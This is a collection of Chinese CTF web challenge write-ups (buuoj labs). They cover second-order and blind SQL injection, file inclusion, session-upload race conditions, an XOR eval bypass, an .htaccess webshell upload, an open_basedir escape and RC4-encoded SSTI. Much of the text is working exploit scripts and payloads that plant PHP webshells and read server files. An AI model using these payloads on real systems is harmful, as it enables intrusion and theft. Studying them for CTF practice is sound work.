发布后会提示登陆,发现帐号给了密码还剩三位,爆破下可以得到账号密码为zhangwei:zhangwei666,登陆进去也不知道干嘛,扫一下发现git源码泄露,使用git_extract下载下来,有两个文件,一份残缺的一份完整的

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

二次注入,先写留言存进去,然后留言的时候闭合上前面的注释符即可

留言均为*/#即可
查看user
title=user2&category=evo1',content=user(),/*&content=c

发现是root@localhost,权限很高,估计flag不在数据库里,读一下/etc/passwd,发现有www用户,去读一下其配置

title=www&category=evo1',content=(select (load_file("/home/www/.bash_history"))),/*&content=c

cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start

看到有个html.zip里有个.DS_Store被解压复制后又删除了,但应该在tmp里还有,去读一下

title=www&category=evo1',content=(select (load_file("/tmp/html/.DS_Store"))),/*&content=c
读不全,用十六进制
title=ds_store&category=evo1',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*&content=c

解码后发现flag_8946e1ff1ee3e40f.php,直接读取然后解码即可

title=flag&category=evo1',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*&content=c

[NPUCTF2020]ezinclude

查看源码发现

<!--md5($secret.$name)===$pass -->

先发送空user看一下secretmd5

/?name=&pass=

发现Set-Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a;,直接把这个哈希值放到pass即可

/?name=&pass=fa25e54758d5d5c1927781a6ede89f8a

发现window.location.href="flflflflag.php";,抓包访问可以看到

<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

各个文件都读一下,都没啥用,用/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php读一下flflflflag.php的源码

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

方法一

直接条件竞争

import requests
import threading
import sys
import io

session=requests.session()
sess='evo1'
url1="http://987fa2c2-bccf-4ed3-983b-0a41f044d15d.node4.buuoj.cn:81/flflflflag.php"
url2='http://987fa2c2-bccf-4ed3-983b-0a41f044d15d.node4.buuoj.cn:81/flflflflag.php?file=/tmp/sess_' + sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':"file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');"
}
file = {"file":('a.txt', io.BytesIO(b'a' * 1024 * 50))}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

然后1.php下查看phpinfo即可

方法二

爆破一下路径会得到一个dir.php

<?php
var_dump(scandir('/tmp'));
?>

这个文件可以打印出/tmp目录下的文件名,可以利用CVE-2018-14884

import requests
import io

url = "http://acd4af22-f5d2-4e83-98e7-3d3f4003b0ff.node4.buuoj.cn:81/"
payload = "<?php eval($_POST[1]);?>"
file = {'file': io.BytesIO(payload.encode())}
url += "flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=file)

查看文件名

/flflflflag.php?file=dir.php

包含对应文件即可

/flflflflag.php?file=/tmp/phpK70enE
POST:
1=phpinfo();

[HarekazeCTF2019]encode_and_encode

json_decode会将\uxxx进行转义,所以利用unicode绕过即可

{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

[SUCTF 2019]EasyWeb

源码

<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

fuzz一下可用字符,发现需要用异或来绕过,抄一下网上的脚本

<?php

function valid($s){
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $s) )
return false;
return true;
}

function is_valid($s){
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $s) )
return false;
if(ord($s) <= 127) return false;
return true;
}

function get($s){
$result0 = '';
$result1 = '';
for($c=0; $c < strlen($s); $c++){
for($i=0; $i<256; $i++){
// echo "round $i\n";
if(is_valid(chr($i))){
if(is_valid(chr($i)^$s[$c])){
// echo $i;
$result0.=urlencode(chr($i));
$result1.=urlencode(chr($i)^$s[$c]);
break;
}
}
}
}
return $result0.'^'.$result1;
}

echo get('_GET'); //%80%80%80%80^%DF%C7%C5%D4

?>

现在就可以查看phpinfo了,发现有disable_functionsopen_basedir

/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=phpinfo

接下来需要调用get_the_flag函数来进行文件上传,需要绕过三个点

  • 后缀不能有ph
  • 文件内容不能有<?
  • 文件的头需要是图像的头

可以通过上传.htaccess来绕过,因为在.htaccess在头部定义图片大小可以绕过exif_imagetype函数

#define width 1000
#define height 1000

拿网上的脚本改一下(md5值改成自己的)

import requests
import base64

url = "http://4a42b678-0e23-4821-bfca-2cdb56259bd9.node4.buuoj.cn:81/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"

htaccess = b"""#define width 1000
#define height 1000
AddType application/x-httpd-php .evo1
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c55e0cb61f7eb238df09ae30a206e5ee/shell.evo1"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['evo1']);?>")

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.evo1',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

用网上的通用函数组合绕一下open_basedir

/upload/tmp_c55e0cb61f7eb238df09ae30a206e5ee/shell.evo1?evo1=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));print_r(file_get_contents('/THis_Is_tHe_F14g'));

[CISCN2019 华东南赛区]Double Secret

乱测一下发现报错

/secret?secret=app.py

拿到关键代码,并且可以发现是python2.7

if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a

一个密钥为HereIsTreasureRC4解密,用CyberchefRC4url编码烹饪下就行。但是不知道过滤了什么,先ls下试试

'read' is not allowed. Secret is app.py rc4_Modified.py rc4_Modified.pyc requirements.txt
/secret?secret=%2E%14%11%1D%C3%A2%0B%02%7Ex%C2%88%C3%95%28%C3%B9%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FMM%C2%ACq%C3%87m%C3%B30%C3%B2%24%C2%87Y%C3%9F%06%C3%A2%17%C3%9B5%C3%9F%C2%9B%C3%A3aG%C3%B4R%C3%A2%C2%82yeo%C3%BB%25%7E%C2%83%00w%C2%8C%C2%85%0D%1E%C3%A6%C2%A8%5E%C3%B3%07%2AK%27%C3%ACA%C2%93%05%C2%A7p%C2%80T%1EwxW%C2%8A%C3%97%5F%C3%B0%C3%BF%C3%A1%C2%8E%C3%B3%C2%9C

可以执行,但读不了app.py,去看根目录

'read' is not allowed. Secret is app bin dev etc flag.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
/secret?secret=%2E%14%11%1D%C3%A2%0B%02%7Ex%C2%88%C3%95%28%C3%B9%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FMM%C2%ACq%C3%87m%C3%B30%C3%B2%24%C2%87Y%C3%9F%06%C3%A2%17%C3%9B5%C3%9F%C2%9B%C3%A3aG%C3%B4R%C3%A2%C2%82yeo%C3%BB%25%7E%C2%83%00w%C2%8C%C2%85%0D%1E%C3%A6%C2%A8%5E%C3%B3%07%2AK%27%C3%ACA%C2%93%05%C2%A7p%C2%80%28%16%02q%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%A9%C3%88%C3%BB%3D

popen读不了,拼接一下就行,也可以直接弹shell或者读文件

/secret?secret=%2E%14%11%1D%C3%A2%0B%02%7Ex%C2%88%C3%95%28%C3%B9%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FMM%C2%ACq%C3%87m%C3%B30%C3%B2%24%C2%87Y%C3%9F%06%C3%A2%17%C3%9B5%C3%9F%C2%9B%C3%A3aG%C3%B4R%C3%AD%C3%BAy%2B%29%C2%AC%15%2B%C3%9CxA%C2%83%C3%B2%0D%1C%C2%B2%C3%9F%5E%C2%AA%0Eq%038%C2%AE%04%C2%9C%2B%C2%A77%C3%94%7C%1Euqz%C3%88%C2%9D%1C%C2%87%C3%B1%C3%AD%C2%80%C2%A6%C3%86%C2%ADgt%C3%9F%C3%80%C3%B9%C3%B0%C3%A0%3D%0D%C2%A0%C2%97%12%C3%8Feh%5D%C2%92%C3%8E%0D%7Eb%07%22%C2%92%C2%AF%C3%90eo%C3%ABhD%1A%C2%96%2B%C3%97%19%C3%85%C3%93%C2%B8%2E%C2%B9%C3%A8%12g%C2%AD%C2%94h%C3%8B%2B%06%14%05%C2%9D%C3%88%C3%AD%C3%AF%C3%BA%C3%8Fu%100%29%06%C2%92%0F%C3%8Aw%5F%C3%A4%C2%97B%3D%3F%C3%A6%C2%B0%29%C2%B6%C2%80%C3%B3LO%C3%9BN%2D1%C2%B3%C3%B2%1B%C2%82%C3%B0%C3%8Aa%C2%A9%C3%A2%C2%98n%C3%83%27%0D%C3%BE%C2%AB%C3%9B%C2%98P%3B%C2%89%C3%A5%C3%A8%23%C3%A3b%C3%88%C3%B4%2A%5D%2C%3D%C2%85%2D%C3%83%C2%AEs%C3%8B%C3%AAlYy%60F%2F%C2%99%C3%A8%C3%A7%C2%9C%C3%87%C3%A7%C3%BFSC%07%C2%81%C3%90%C3%9A%C3%98%C2%BC%3B%2C

[网鼎杯2018]Unfinish

存在注册页面(register.php),二次注入+盲注,注入点在用户名处,并且过滤了,information,只能猜在flag字段,写个脚本

import requests
import re
import time

url = 'http://dbdbeee9-53f2-4481-a4eb-bf80420ab983.node4.buuoj.cn:81/'
flag = ''

for i in range(1,10000):
sess = requests.session()
data = {
"email": "{}@qq.com".format(i),
"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i),
"password": "admin"
}
sess.post(url=url+'register.php',data=data)

data = {
"email": "{}@qq.com".format(i),
"password": "admin"
}
sess.post(url=url+'login.php',data=data)

response = sess.get(url=url+'index.php')
res = re.findall(r'<span class="user-name">\s*(\d*)\s*</span>',response.text)
flag += chr(int(res[0]))
print(flag)
if flag[-1] == '}':
break
time.sleep(0.5)
print(flag) #flag{71542fcd-941e-4e10-b869-0181e9752356}

[网鼎杯 2020 半决赛]AliceWebsite

下载源码发现存在文件包含,直接读

/index.php?action=/flag